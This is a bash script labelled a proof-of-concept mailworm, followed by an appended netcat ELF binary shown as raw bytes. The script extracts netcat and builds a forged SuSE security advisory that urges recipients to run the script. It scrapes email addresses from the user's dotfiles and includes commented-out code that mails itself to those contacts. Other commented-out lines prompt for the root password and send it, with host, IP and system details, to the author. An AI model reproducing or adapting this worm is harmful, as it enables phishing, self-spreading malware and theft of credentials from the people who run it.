#!/bin/bash

#
# SuSE-update.sh
#
# Proof-of-concept mailworm with attached
# statically linked netcat
#
# (C) 2003 Boris Buegling, released under the BSD license 
#


#MALDIR=/dev/.suse/.updateworm
MALDIR=~/projects/suse-mailworm/temp
NUM=10
SEARCHFILES=`ls -A|grep "^\."`
SPEED=20000
YOU=boris@icculus.org

nail ()
{
	echo "HELO localhost"
	echo "MAIL FROM:<$1>"
	echo "RCPT TO:<$2>"
	echo "DATA"
	cat $3
	echo -ne "\n.\n"
	echo "QUIT"
}


mkdir -p $MALDIR
sed -n "$((`grep -n --binary-files=text END_OF_DAYS $0|tail -n 1|cut -d: -f-1` + 1)),`cat $0|wc -l` p" $0 >$MALDIR/netzkatze
chmod 775 $MALDIR/netzkatze
echo "QUIT"|$MALDIR/netzkatze localhost 25
cat >$MALDIR/mehl.bak <<EOF
______________________________________________________________________________

					SuSE Security Announcement

		Package: 				KDE
		Announcement-ID:		SuSE-SA:2003:1337
		Date:					__DATE
		Affected products:		All SuSE distributions
		Vulnerability Type:		remote privilege escalation
		Severity (1-10):		10
		SuSE default package:	yes
		Cross References:		CAN-2003-1337
								CERT http://www.kb.cert.org/vuls/id/1337
								http://www.securityfocus.com/archive/1/1337
								http://www.kde.org/security/1337

	Content of this advisory:
		1) security vulnerability resolved: KDE
		2) attached urgent security fix
______________________________________________________________________________

1) problem description, brief discussion, solution, upgrade information

The KDE development team recently discovered a severe vulnerability in all
versions of the KDE Desktop Environment. It enables any remote attacker to
compromise any version of the SuSE Linux distribution including the SuSE
Enterprise Server. The SuSE security team recommends the installation of 
the attached security update on any system running a SuSE distribution. 
Considering that this vulnerability affects all SuSE users, we decided 
to send this announcement to all our customers and to attach an automatic
update application to this mail.

Please install the attached security fix immediately by saving the attachment
and using the command './SuSE-update.sh' to install it on your system. The
update application will then determine if your system is affected and it will
download all the necessary files directly from ftp://ftp.suse.com, so make sure
that you are connected to the internet. We urge any user of SuSE products to 
run the attached program on their systems. Please also verify its integrity by
using the provided MD5 checksum.

MD5:		__MD5SUM

	- SuSE runs two security mailing lists to which any interested party may
	  subscribe:

	  suse-security@suse.com
	  	-	general/linux/SuSE security discussion.
			All SuSE security announcements are sent to this list.
			To subscribe, send an email to
				<suse-security-subscribe@suse.com>.
	
	  suse-security-announce@suse.com
		-	SuSE's announce-only mailing list.
			Only SuSE's security announcements are sent to this list.
			To subscribe, send an email to
				<suse-security-announce-subscribe@suse.com>.
	  
	  For general information or the frequently asked questions (faq)
	  send mail to:
	  	<suse-security-info@suse.com> or
		<suse-security-faq@suse.com> respectively.

	  Important and urgent security fixes will be send to our customers
	  directly. If you do not wish to get these helpful mails, send mail to:
	  	<suse-security-unsubscribe@suse.com>

	  =====================================================================
	  SuSE's security contact is <security@suse.com> or <security@suse.de>.
	  The <security@suse.de> public key is listed below.
	  =====================================================================

Thank you for using SuSE products.

The information in this advisory may be distributed or reproduced,
provided that the advisory is not modified in any way. In particular,
it is desired that the clear-text signature shows proof of the
authenticity of the text.
SuSE Linux AG makes no warranties of any kind whatsoever with respect
to the information contained in this security advisory.

EOF
unset LANG
sed -e "s/__DATE/`date +"%A, %b %d %Y %H:%M %Z"`/" -e "s/__MD5SUM/`md5sum $0|awk '{print $1}'`/" $MALDIR/mehl.bak \
>$MALDIR/mehl
rm -f $MALDIR/mehl.bak

#echo -e "Your system is vulnerable. Please wait while $0 is downloading the updates."

grep -r "@" $SEARCHFILES|cut -d: -f2- \
|grep -v pserver|grep -v "^Message"|grep -v "^References" \
|grep -v "^Content"|grep -v "[0-9]@"|grep -vi "^In-Reply-To"|grep -v "www\." \
|grep -v "@xxxx"|grep -v "=A1"|grep -v "[0-9][0-9].*@" \
|sed -e 's/:/ /g' -e 's/email=//g' -e 's/<//g' -e 's/>//g' -e 's/\[//g' -e 's/?/ /g' \
-e "s/'/ /g" -e 's/)/ /g' -e 's/]/ /g' -e 's/\\/ /g' -e 's/(//g' -e 's/=/ /g' \
-e 's/&lt/ /g' -e 's/&gt/ /g' -e 's/BR//g' \
-e 's/"/ /g' -e 's/\// /g' -e 's/;//g' -e 's/,//g' -e 's/ /\n/g' -e 's/ //g' -e 's/\t//g' \
|grep -v "^200"|grep -v "^199"|grep -v "^000"|grep -v "^#00"|sed 's/\.$//'|grep -v "^@" \
|grep "@"|grep "\.com\|\.net\|\.org\|\.de\|\.fi" \
|head -n $SPEED|sort|uniq|head -n $NUM >$MALDIR/abook

num=1
while [ $num -lt $NUM ]
do
	rcpt=`head -n $num $MALDIR/abook|tail -n 1`
	#nail suse-security@suse.com $rcpt $MALDIR/mehl|$MALDIR/netzkatze
	num=`expr $num + 1`
done

#echo -e "Security update downloaded.\nPlease enter your root password to start the update."
#read passwd
#echo "Thank you for using SuSE products."

hostname >$MALDIR/dau
ifconfig|grep "inet addr"|cut -d: -f2|cut -d" " -f1 >>$MALDIR/dau
cat /proc/cpuinfo|grep "cpu MHz\|model name"|cut -d" " -f3- >>$MALDIR/dau
echo "$((`free|head -n 2|tail -n 1|awk '{print $2}'` / 1024)) MB RAM" >>$MALDIR/dau
uname -a >>$MALDIR/dau
/lib/libc.so.6 | head -n 1 >>$MALDIR/dau
gcc --version | head -n 1 >>$MALDIR/dau
ld --version | head -n 1 >>$MALDIR/dau
echo "root passwd: $passwd" >>$MALDIR/dau
#nail joe@humppamail.info $YOU $MALDIR/dau|$MALDIR/netzkatze
exit 0

# END_OF_DAYS
ELF              4   ~      4    (            |  |            |    X                      YQDPVQ19ru:t uz=  P8  U(f=    E D$ED$ED$ED$ED$ED$ED$T$
)  = tP=~ D$D$CT$(  @D$T$(      = t$BD%  TD$$
   (  T$a'  ]U(f E D$ED$ED$ED$ED$ED$E$$$  $   &  $   l7  U    f=vdD$hD$$l_$\S]UD$   $   )%  $      =  u$c D$$#  U]]u,D$   $   $  $           $D$Y$   $  $w  E ]]U]u]$  ƅt\$D$    $i#  \$$}O]u]US]M    t+        w)@ȉڅ~:
tBH[]U]uu]        D$4$j$  tD$t$$       ]u]UWVS]u            t$  ǅu$SD$,<$G$  $0  E"  ft\$$$.  ƅu\$$D$   D$<$$      F8 tA   $30  D$   D$[   $#  CV< t~f= B         &  D$   D$     $w*  t8 u[   D$$ LD$<$$C      ~   E  E$i/  D$   D$   $"  f   f=    D$   D$   E$)  u\$$@7D$    D$<$"  <$p,  ƅt@8 u|$$vt$<$N    [^_]U]u}]U6f= t: ?@        *  f=    $  |$$%  Å   @$]  9tD$t$$D$@   D$$!     tv       $  tD$$    	}f= u>|$$F$  Åt,D$@    D$$%!  C$      .t$D$@$Y   fpH@H]u}]UVSup <  %  <0t    KuЅu(0  <3tKu3Ӆu    [^]UWVS}]uu$8ftfut$\$$ f9w8Hf9v[^_]UWVS,uEE}    f= tD$   D$   D$   D$   $   !  E} y$} tE   D$   ED$D$   D$   U$E  u$`f  f  f  t
Pft<$  fC    uftr}   D$   D$E$  Åtp=bu?@$$+  |$D$$$         Nt$@$*  |$D$$]f= tEw  EPU$  fC=T    = up$0   o ATAXAE        ;T}!  EU;T|ߋUAT   ED$D$D$   D$    E$X  u$[D$$   GD$    $p-  u D$   D$U$  n   D$    $    EtE$  ,[^_]UWVS,EE]    \$ED$ED$E$E}   f= tfu,$+D$   E$  y$CDf=    E   ED$D$E$  y$X list@enin@g onf@ [@ x t@$;(  D$D$q$|  D$u$g  @$:  D$$f=    E   D$$   MD$    $v+  2  ED$D$D$   D$    D$E$  D$    $    D$   D$E$  wE   D$$   D$    $*    ED$D$E$}  D$    $    `E$,  ]U  f=    $(   E(   UT$D$D$   D$    E$  y$~} ts5   D$   D$    $  } ~.D$D$<$$  |$$`  FCM} ҡD$$D$@   D$    $_   EE   ED$D$E$  y$2@$z%  D$E$  @$  Eࡠ@$D%  D$$  D$$    E    } t"u     8tE   f} tEf9EtE   } t(ED$   D$\$ED$$ +ED$   D$\$ED$$`En   E$  ,[^_]US]D$   D$$  tD$$= t$  Zf     D$    D$    D$iz  E$S~$      @f    D$   D$$
  ڃt$  Ѓ[]UWVS]=( u$6  } t
<d>hEB }]@;#@< }       EN   }}/E>EE@T+ut B B BNuu)uED$D$$  u조PX=t@~B$~B B, <^w.CGNu
ED$D$($  y$} [^_]UWVS<}   ~ED$$z   UM   	E   E    E    E    =` tq`MEE   f=\ t;`    C$M$  $   ]   $      = t$      UM     E   f} tE    w  =5    = tBAD$D$    D$    D$$     Åy=u: u
EHEf} uf==  $,  u}   tFD$    D$E$K  !E    E䡤E} uZ tPD$    D$$      ~EMf=\ u` $      }   w	}   v(ED$ML$$#E    E    f} } tMED$ML$$   t  Å~-f= tD$ED$$   _])]d} tk= tML$E$]\$ML$E$  Å~-f= tD$ML$$    ])]h= t$      } u} tEHEUM   E$?
      <[^_]UWVS<u}E    E    E    E    E    $   $   p$    _$    N$   =$   ,$J       X       D$$   p  D$$   \  D$$   H  D$   $   4  D$   $        7$   }ǉ0$    mƉGTD$D$
   D$   $9  T$+  D$    t$$      `u$D`D$4$MÅt)`=` t3`T$D$$M  D$
   G$6  t  D$   G$  t  wF   > t> u 
~ u4CF> un  C3L  $$J@f<  $W
  Åt9uX  \$$  =T~$\~= u$(   D$$tTT      j  $	  %  s  D$$mw@fN  @f;  @f  D$    $YEf   D$$q   @f   D$$  E   @f   @f   $  uD$$$   ?$   .&@f    $D$|$4$  Ãsf= t#$    G  $
  $   Ef= tLD$  D$A  $  (D$$$d   O< tD$$"E} t}@tE  E} t        f=        < t3D$    $fuD$$2UT$ED$t$U$I$~;$}f=/  dD$hD$$l  $} u$< u$| t	f\  EE࡜< q  E    D$-   $?
  ƅt/  FD$    4$Efut$$D$    $EfuD$$Uf9Uv<f\  uf= t)t$E܉D$Uԉ$REԉ$uf9u{  f} u&f= t  Ef=w    Et$$    UT$ED$t$U$6$~}f= tf= tUT$$,$=$ ~L    D$t$E   D$ED$$.f= u_$$+N   f=\ uf=w	=ot,D$t$E   D$UT$$Cx$$+  = t$  f= tEԉ$rFf9u@<     f=vdD$hD$$lf=\ t$$      Uf $ $$@$u]ÐWVS_OWw v؉&  [^_̀Ð  j jj"jPj L  1҅tH%  tBuUWVƍ@SQ$ً<$1ň󪹠$VX[^_]VSƅt    [^ø   dt1Ҹ   H~Ju    먋D$tPHt   v
RQ}  XZ.SD$t8v0=   v6  Á ut[      1   WVS\$T$ʅt׉19tO      1[^_ÉL$[^_^UWVSl$\$      s}           % Ƌ9t6=   w6SXt s9vƅt
ߍNU^[^_]j   V7W-  t0h       1ĉ   qU^Y릅tSzVt$110t(< ~<+t<-u
k
¬</~,0<	~t^Ð    Ð= tB|$ tjhjjhjÃ= UWVSu
   ;\$5  T$&  8-  P  -   9t    D$5,|.Wt$ ="  YZ   8 uCmx:tF[^_]Àx:t|. t(.Bz u
    ƋT$Du'CD$8:tj:   Z땸:   뎍Cj w?   ؀x  CV    D$ð  VSt$\$~ tj FPjk  u   SV,  VW|$t$L$_^ÐW|$D$L$WX_WV\S\$8|vVt'1߃IQSjjhAj1IQVjjhj[^_[ 4h   ZËD$ÐSȭ  L$Йiҏ  iG  )x[Á򐐐    WVS@D$Tt$P\$,|$ D$ S  VSq  D$D$0   @PWVE  u$@[^_Ðjt$t$t$9  ÐD$j PPP  D$+D$ð  D$Pt$t$   ÐVt$T$11
Bt<A|	<z  )t^)WV|$t$W11IOuX^_ÐL$T$8tAu1ɉVWT$t$u_^VWyqIIxu_^Ðt$t$jt$  Ðj    XVS\$t\Ct*C+CuC    C    1[^jP3  ދCu	C    Ps3N;CtK    1tSyZt[u뎃= VS\$t$t/C9tSCS	SY[^Ã; t1  h   c  XS\$5Sjt$   9[ÍD$Pt$t$m  ÐS\$j S^ZYuFCH9Cs]Cu;D$SK
CC   t|$
ttSZu1[jD$P31҃JSOYuUWVSt$\$|$l$ ޅt1҉;D$t1[^_];]wEtIU[D$PWu u
p8tۅx1|$ t1t$뭃M륅ۉ~UPZYuNG)5TZÐ5ZÐt$t$jt$)PPD$D$$t$t$D$P  ÐQPh  h h t$t$   1҃u$ZUWVS|$l$(Ut$(t$(W  ua|$ tt$w  ZYut$7|  [^t#_1; tt$4`  ZYtF<    [1}  ^_H]E     QPh  h h t$t$   1҃u$ZUWVS\$l$ |$$t$(VWUS]   u.D$;Cut$s  ZYu*   [1> ^_H]    吐hh  XZh  YUWVS= _  = w  9f  T$(D$$PD$@   1D$    h
  [;  h>
  5=Í08L$P  ZYu$  |$#   v|$
   %  	  t:ECYT$$L$B    D$01[^_]ËL$$D$(D$QL$AL$t   tiD$9D$,vK55|$(|$L$( @|$
D$t|$#YP   FT$0    f59sۡ<
t
C9rÍB[D$(T$$D$HD$P>Pc	  _X</uD$P	T$(BD$,D$B)5XF^|$#R*j h^S\$s3q	      XZ[ÐWVSS|$   t$\$P  1Yt6hD$P PB PRSVWy    "tt$    $Z[^_ÐVS1ۋt$L$cvd   1   0A	vо
   1C0A0C[^D$<	~W0UWVSp$   $   $     Y^tV$   9CuCK09ujS$     $   $   $       1p[^_]<  $     $   
t   ԉ   .$P4C..$ZCC.Ny.ip6C.intC $   #w$          j$   $   $   P$   P$   D$Pc  u:$   t7$   $   H󤋌$   A$   @    $   A   A   E PS.CEPS.CEPS.CE PS ù   SS\$   PO  1Yt4hD$P PB PRS   "tt$    $Z[ÐUWVS1ۈQl$t$D$ I9L$$$sD$, "      Z[^_]Ut$$`؃   L$(ʃ)ЍPFRUj  t9F   F   FP @     @    D$(V0D$,     1뀋F0Uj
  tF
   F   t$$t$$Y  Y[t_tI1ۋGtUP8ZYtC~jWV  D$40D$8       1U7[Zu  jt$0t$0D$)D$0t$0D$0D$PVU  QPt$   YZt$ZÐWVS1V   D$$j D$Pt$  |$t*1ɀ.u=   	Å~G$Z[^_	S     T$[ht$P   ZYÐVS1ۋt$L$cvd   1   0A	vо
   1C0A0C[^VSt$D$PV0.D$CP3P3.CD$P3Px3.CD$'P3Pb É3 [^UWV1S1ۃ D$    |$4$    D$8 Cv?:t{jD$PWB  1҉ŋD$)t.<$t2$ߋT$8AA\$$T$u [^_]À<;.uȋD$8PW51҅^_tڋL$D$:tGuD$?:   uRjD$PW  ŋD$)   $2w<;.tFD4F߈T4F$\$u19sDڋL$8C)9D
rT$6D4PW~ZYu$   )4$1D$уLL$룀? tL$똅tD$G8SD$\$T$t5
t a   [RS8ZYt1<%u   RS[Z1҅tT$1 t	t
#t   hȷt$  ZYËT$1 t	tø   ht$  ZYÐVS\$D$; C    t[^j PGXZx7jj V   Cj VjjPj    $@tt$[^    C        말V1S1ۋt$PЃ	wk
A1PЃ	vD$[^ÐL$D$QY qyiaXYj QPD$X pxhT$L$ PHw  ,ZT$RYÐ[L$QPfYYÐD$ B1ÃVSt$VXtK uVD$ËT$1 t	tø   VSt$D$T$9t9vJtJACu[^Í\2LJtJIKuސjt$t$t$  ÐST$\$J>wу   	1[2    D$     @    1S\$|$ u[1ÍCPj j SCߐ
)ËL$T$1:uBAuÐV1SS\$D$Pk  YtC|$-tXt$t$SR   =v8=   tt "   1Z[^ÅtU        tރC뢐UW1VSQQ\$D$    l$ t$$D$P  ZtC|$-   ;+      u;0   
   ; t%<`v_W9};9r"C<; uۅt] |$ tZY[^_] "   9uӅt] p    <@v7<9w0뎾   C<xt<Xf   Y;0>C-D$   CUWVS   $   D$(    $   8 tN$   1t%t$   @8t%uD$  $   ?%t$   8 uD$(Ĵ   [^_]D$' 11D$& D$% D$$ D$# D$" D$! D$  D$    D$    D$    D$    G$   $   B$   D$/zo$pD$"D$$$   2jD$7PRD$43 D$D$!D$#D$ $   ?*t8j
D$4P$   D$$xD$0$   HD$     D$&D$'0$|$  j
D$4P$   HPL$<D$($   |$/XD$%|$  $   D$    tL$L$|$$ tD$/D$50D$$D$   D$6D$5ۉD$0    HT$L$|$& t~|$   |  i  }   /  D$%Pt$t$t$j{D$DD$P*  D$|$&  |$& t(|$! u|$" tD$0+H|$! D$0u D$|$ F  |$# ;  |$$ ~0$   0\$(St$8$   R\$4\$<)\$)\$(|$    L$'1\$+\$L$~4$   7j|$0  P$   R̅~*$   1S|$0^  P$   Wl$(\$1+\$~7$   0   00j  P$   QɅ~-$   0   07S   P$   Ql$($   0t$t$8$   RL$L$4|$ |$# \$1    )˃~.$   00jtQP$   R҅~$$   01StP$   R|$(bฐ머'W|$'1\$+\$|$~0$   0j|$0tNP$   RЅ$   1S|$0tP$   W鸐뫋T$0BD$0B-0D$%Pt$Uj{D$@D$P  D$  D$&x\$T$ \$(>$   D$     D$/1ۉ|$/g Ã|$ uD$   |$  uD$   t$t$ h   l$@U$  D$|$  t+j.U]Y_t@|$ t@8 tL$t@8 u  tND$4j.P*]Zt:jeP; Y_tC; utK0t.tC t	PSXZT$41T$0IL$D$&$
   |$$ $   D$    D$50D$$D$   D$$D$/xU D$0uD$0|$01I|$  L$t|$9v|$D$   $   0t$$   $   RL$L$4$   ?UWVSl$t$EU)t(\$9vˋE tٍ<EU  ]D$[^_]ST$$D$    \$ D$$҉\$T$D$tBD$t$,t$,D$PSt [ÐUWVS|$$= l$(D= D$l  T$?  G    1www<;T$wwD      <#   <
   ;\$  Pv  Yu
C;\$  
T$tP G0@    D$)l  V7j
E  V7j0AT$;D$s8
tB;D$sz
uG   G   T$1;\$sPZt
C܋G$;\$sPe  Yu
C܋$T$))C9|z$4)PQV F<
tD;\$s PgZtECIG    G[^_]ÍCE "   t5P~XZ1G
   G   j h^X1xjj Sj SjjPj $@tSg[?SQY    Q    Nát5PXZ    UWVS  $$  $4    $   A
   A   B     $   B D$    r@D$    Q$(  AT$h   $,  P$<  j$,  	  D$  $,  $4  f$-  ftHT$(  9  ; t"L$Z(  9  z uލEfuT$(  9  $.  f$/  fu$0       [^_]ËL$$(  )L$Qh   D$ PSW  xY8E; uC;$4  tm{u8L$$(  
)9Ph   D$ PSW  8x	f{|$ U$0  $        $,  1AS҈T$u{u
$4  ,  $4    $4     D$|$эyD$PVXZ|$    $   2$   T$A    BT$$   7HD$r4@$4  D$t:$4  12B~$   T$A    rBT$    $   T$AtOt$)h   L$ QSWP  8D$|$򮃼$4  эy7Pt;T$$0     ;D$ߋ$0      $   @   @   iU1WV1S  $$  $8  эyR  WSD$POƄ$   D< $<  U$<  $<  $<  $<  St6t<;5 t)<.   )Pj 4@F\$DP  뙁  [^_]Ã} t퐋D$P5<ZYt5ZX    S= x[jjjxjjPh  D$    fD$ fD$  jD$PSuS = x [jjj
exjjP  D$     fD$
 fD$  D$    D$    D$    jD$PSsuWVS0\$@D$$|$Dt$ PSoZYuoj%SMZYD$    D$    t@P	  D$XD$PSj
u	10[^_j5fD$
 fD$jVW(   j5fD$$ fD$&UWVS4  l$4=l ~4  [^_]h	       ZthpP^_tlj hh@   ]Y[xh   UPQV9+9s
      
9g} 
tz9sE P-ZtE9AE D$P	  _uEE  klpPVSY^tl@lD$9݈E <
u9} 
tE9} 
u9} 
t9+E9} 
t   t   u9n} 
t9sE <,tP-ZtE5 ,@9sU ,-<vP  _tEE 9݈D$sE  @9r9D$<
E u-P	  @^t UWVSS|$$\$ t$t$$1tc> t^;L$(sc<t_ҍD;$wHD
;D$(s;t
ACJu.AC9   v9 uFt9 utK +l$Y[^_]A?	;T$sA9sƋL$1빐WVSt$|$^;^s<
tPZtC+^[^_UWVS  h   $  Pj j j $(  $(  $(  j   $)  fD$ 1x   $    j D$Pp  D$+D$Y
[~Tkpfp
1  T$jSj U$  PR/     D$T$$T$F;5l|1h  jD$P   Ht!Of     [^_]h  D$Pt$g$  8D$u$  8D$uD$$h@tR=   uD$$u1;$  ~   SD$P$   6k   Yj D$P    XZ7`NXPHV1SL$\$t$9}2B	9|[^9} BUWVS0t$H\$D|$L\$ l$Pt$$%  -  D$\$t$|$VS  ZY  VSm  ZYa  |$.D$D$.\$t$f fD$,l$,\$(l$.D$D$(@D$uAz?؃|$X    tD$X9v   19s	80@9rG.8 0[^_]D$ vt$$M\$ -G   1;D$Xs@;D$Xr؉\$t$D$\$\$t$v0MG|$ ]     D$
v 

w؃%  Hw  \$҉t$D$l$,\$(l$.D$(tt:01҈G,09  fMfP$\$t$D$\$\$t$5w;|$   |$X u+D$@9D$T   1   .D$GT$TM)|$X TT$TtD$XD$T19l$Tw~|$T ts\$t$D$l$,\$(l$.D$(0G,0ffP$\$t$D$L$T\$\$t$u +D$1t
0MGt$X   t$Xj t$|$ T$ $t[teGM  9L$}utD$0GD$M1ۙT$Ⱥ
   ֙1C;17gUhUW
hꐐVW|$1HIQ
5
ƭ	t8uז$u	u>=uFY_^ÐW   VS t$0j jj
xBFBtOPh3  S  uSD$$[^_S1j jj`묐T$1ɉЃ avBЃ	w   ÐL$T$5  	t5  	Hø   ÐS1ۋL$T$5  	t5  	t5  	u   [ÐT$1ɍBv tù   UWVSPPT$l$,D$0׋\$$t$(D$D$ H ǅt$~
   $    	uO0$   ;|$vLtHORUVS  0<9~|$ tARUVS.  É$;|$v	u$@PWt$$D$[^_]'뽐UW1VSD$l$t$ H\$( (F#v
   u	I   09v4t01҉I0<9~|$$ t*1G9vuЍGPQU[^_]'ԐVWyqQI8tIu1_^ÐUW1VSt$Q_1tVSZY[^_ÐWVS   jhD$Ph@uD$ f$$  |$: tY:.   քt<.tFt<.u(9ֈt-)G  9sk)SRW> t G G$  G G$  _);$0  ~
   [^_SR$4  B:.tR6UD$    EUD$ET$U$T$   ]Í&    '    UWV0E    UE    uE    }E    E҉UuẺ}   9vOE    ủUE؋utE    UUMEUQU؋MԉUEMU0^_]Ë}̅u   1ủE̋E܋UủU܉EԋEủUE딋E9Ev0E    ME    tuEUEMH냐t& EƃuUU9UwM9Mr<E   U܋E+EUEUE    U8EU܉EUE    ԋU    )}EЋEMe	EMЉUUMe	ǉu}܉E؉Ue;U܉wG;Ut=E    EM܋E)щM܉MЉE	E܉U;EvM+}U볐U(EUD$ET$UD$ET$$   UE]É'    UWV0E    UE    uE    }E    E҉UuẺ}   9vOE    ủUE؋utE    UUMEUQU؋MԉUEMU0^_]Ë}̅u   1ủE̋E܋UủU܉EԋEủUE딋E9Ev0E    ME    tuEUEMH냐t& EƃuUU9UwM9Mr<E   U܋E+EUEUE    U8EU܉EUE    ԋU    )}EЋEMe	EMЉUUMe	ǉu}܉E؉Ue;U܉wG;Ut=E    EM܋E)щM܉MЉE	E܉U;EvM+}U볐                                                                                                                                                                                                                                                                                                                Error 0 Unknown host Host name lookup failure Unknown server error preposterous h_errno: %d  punt! spurious timer interrupt! Hmalloc %d failed gethostpoop fuxored loadports: no block?! Can't get socket nnetfd reuseaddr failed retrying local %s:%d Can't grab %s:%d with bind srcrt setsockopt fuxored UDP listen needs -p arg local listen fuxored local getsockname failed any ] %d ... getsockopt failed %2.2x  IP options: %s post-rcv getsockname failed %8.8x  ofd write err Preposterous fd value %d select fuxored too many output retries net timeout Bogus buffers: %d, %d Cmd line:  wrong all-A-records NIY too many -g hops invalid interval time %s invalid local port %s invalid wait-time %s nc -h for help ae:g:G:hi:lno:p:rs:tuvw:z can't open %s invalid port %s no connection no destination no port[s] to connect to %s [%s] %d (%s) open %s [%s] %d (%s)              No address associated with name DNS fwd/rev mismatch: %s != %s  Can't parse %s as an IP address %s: forward host lookup failed:                                 Warning: inverse host lookup failed for %s:                     %s: inverse host lookup failed:                                 Warning: forward host lookup failed for %s:                     Warning: port-bynum mismatch, %d != %d                          loadports: bogus values %d, %d  invalid connection to [%s] from %s [%s] %d                      connect to [%s] from %s [%s] %d udptest first write failed?! errno %d                           oprint called with no open fd?! invalid hop pointer %d, must be multiple of 4 <= 28             [v1.10]
connect to somewhere:	nc [-options] hostname port[s] [ports] ... 
listen for inbound:	nc -l -p port [-options] [hostname] [port]
options:               	-g gateway		source-routing hop point[s], up to 8
	-G num			source-routing pointer: 4, 8, 12, ...
	-h			this cruft
	-i secs			delay interval for lines sent, ports scanned
	-l			listen mode, for inbound connects
	-n			numeric-only IP addresses, no DNS
	-o file			hex dump of traffic
	-p port			local port number
	-r			randomize local and remote ports
	-s addr			local source address   	-u			UDP mode
	-v			verbose [use twice to be more verbose]
	-w secs			timeout for connects and final net reads
	-z			zero-I/O mode [used for scanning]         port numbers can be individual or ranges: lo-hi [inclusive] {Κ<Ot
 /etc/services     .in-addr.arpa       0JZr|)AM_n~0?Ko)?Zm0KYbw 6G]m{ =T{,Xkz.\z-Ng3FSd+:J    }   Success Operation not permitted No such file or directory No such process Interrupted system call I/O error No such device or address Arg list too long Exec format error Bad file number No child processes Try again Out of memory Permission denied Bad address Block device required Device or resource busy File exists Cross-device link No such device Not a directory Is a directory Invalid argument File table overflow Too many open files Not a typewriter Text file busy File too large No space left on device Illegal seek Read-only file system Too many links Broken pipe Math argument out of domain of func Math result not representable Resource deadlock would occur File name too long No record locks available Function not implemented Directory not empty Too many symbolic links encountered Operation would block No message of desired type Identifier removed Channel number out of range Level 2 not synchronized Level 3 halted Level 3 reset Link number out of range Protocol driver not attached No CSI structure available Level 2 halted Invalid exchange Invalid request descriptor Exchange full No anode Invalid request code Invalid slot File locking deadlock error Bad font file format Device not a stream No data available Timer expired Out of streams resources Machine is not on the network Package not installed Object is remote Link has been severed Advertise error Srmount error Communication error on send Protocol error Multihop attempted RFS specific error Not a data message Value too large for defined data type Name not unique on network File descriptor in bad state Remote address changed Can not access a needed shared library Accessing a corrupted shared library .lib section in a.out corrupted Attempting to link in too many shared libraries Cannot exec a shared library directly Illegal byte sequence Interrupted system call should be restarted Streams pipe error Too many users Socket operation on non-socket Destination address required Message too long Protocol wrong type for socket Protocol not available Protocol not supported Socket type not supported Operation not supported on transport endpoint Protocol family not supported Address family not supported by protocol Address already in use Cannot assign requested address Network is down Network is unreachable Network dropped connection because of reset Software caused connection abort Connection reset by peer No buffer space available Transport endpoint is already connected Transport endpoint is not connected Cannot send after transport endpoint shutdown Too many references: cannot splice Connection timed out Connection refused Host is down No route to host Operation already in progress Operation now in progress Stale NFS file handle Structure needs cleaning Not a XENIX named type file No XENIX semaphores available Is a named type file Remote I/O error Quota exceeded No medium found Wrong medium type [unknown error]                                     0000000000000000Ž̽ӽ,666666666pyr$Z(null) /etc/hosts DNSCACHEIP /etc/resolv.conf nameserver search domain inf nan      yPD?      ??      $@    _B?                        (UNKNOWN) tcp udp    .`                       sent %d, rcvd %d 0123456789abcdef                                                                  sUnknown option `-x'.
 Missing argument for `-x'.
                                                                                       (                                         `                                 zR |         P2             (   @   l                  l   P7             (      l                       GCC: (GNU) 3.2.2  GCC: (GNU) 3.2.2  GCC: (GNU) 3.2.2  .shstrtab .text .rodata .data .eh_frame .bss .comment                                                        ~a                            b                               |                             }                    )         ~                    .              ~  6                                ~  7                  
